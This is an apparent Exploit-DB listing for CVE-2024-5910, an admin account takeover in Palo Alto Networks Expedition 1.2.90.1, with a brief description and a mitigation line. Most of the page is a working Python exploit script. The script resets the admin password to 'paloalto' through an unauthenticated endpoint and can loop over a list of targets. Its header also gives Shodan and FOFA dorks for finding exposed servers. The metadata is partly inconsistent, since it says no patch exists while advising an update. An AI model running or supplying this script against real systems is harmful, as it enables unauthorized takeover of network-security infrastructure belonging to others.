Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover

vendor:

Expedition

by:

ByteHunter

6.1

CVSS

HIGH

Admin Account Takeover

798

CWE

Product Name: Expedition

Affected Version From: 1.2

Affected Version To: 1.2.91

Patch Exists: NO

Related CWE: CVE-2024-5910

CPE: a:paloaltonetworks:expedition:1.2.90.1

Metasploit:

Other Scripts:

Platforms Tested:

2024

Palo Alto Networks Expedition 1.2.90.1 – Admin Account Takeover

The Palo Alto Networks Expedition version 1.2.90.1 is vulnerable to an admin account takeover. By exploiting this vulnerability, an attacker can reset the admin password to 'paloalto' and gain access to the admin panel.

Mitigation:

It is recommended to update the Palo Alto Networks Expedition to version 1.2.92 or higher to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover
# Shodan Dork: html:"expedition project"                                                      #     
# FOFA Dork: "expedition project" && icon_hash="1499876150"                                   #
# Exploit Author: ByteHunter                                                                  #
# Email: 0xByteHunter@proton.me                                                               #
# Vulnerable Versions: 1.2 < 1.2.92                                                           #
# Tested on: 1.2.90.1 & 1.2.75                                                                #
# CVE : CVE-2024-5910                                                                         #                             
############################                                                                   #  
################################################################################################ 

import requests
import argparse
import warnings

from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter("ignore", InsecureRequestWarning)

ENDPOINT = '/OS/startup/restore/restoreAdmin.php'

def send_request(base_url):
    url = f"{base_url}{ENDPOINT}"
    print(f"Testing URL: {url}")  
    try:
        response = requests.get(url, verify=False, timeout=7) 
        if response.status_code == 200:
            print("✓ Admin password restored to: 'paloalto'\n")
            print("✓ admin panel is now accessable via ==> admin:paloalto creds")
        else:
            print(f"Request failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
        print(f"Error sending request to {url}") #{e}

def main():
    parser = argparse.ArgumentParser(description='Palo Alto Expedition - Admin Account Password Reset PoC')
    parser.add_argument('-u', '--url', type=str, help='single target URL')
    parser.add_argument('-l', '--list', type=str, help='URL target list')

    args = parser.parse_args()

    if args.url:
        send_request(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as file:
                urls = file.readlines()
                for base_url in urls:
                    send_request(base_url.strip())
        except FileNotFoundError:
            print(f"File not found: {args.list}")
    else:
        print("I need a URL address with -u or a URL file list with -l.")

if __name__ == '__main__':
    main()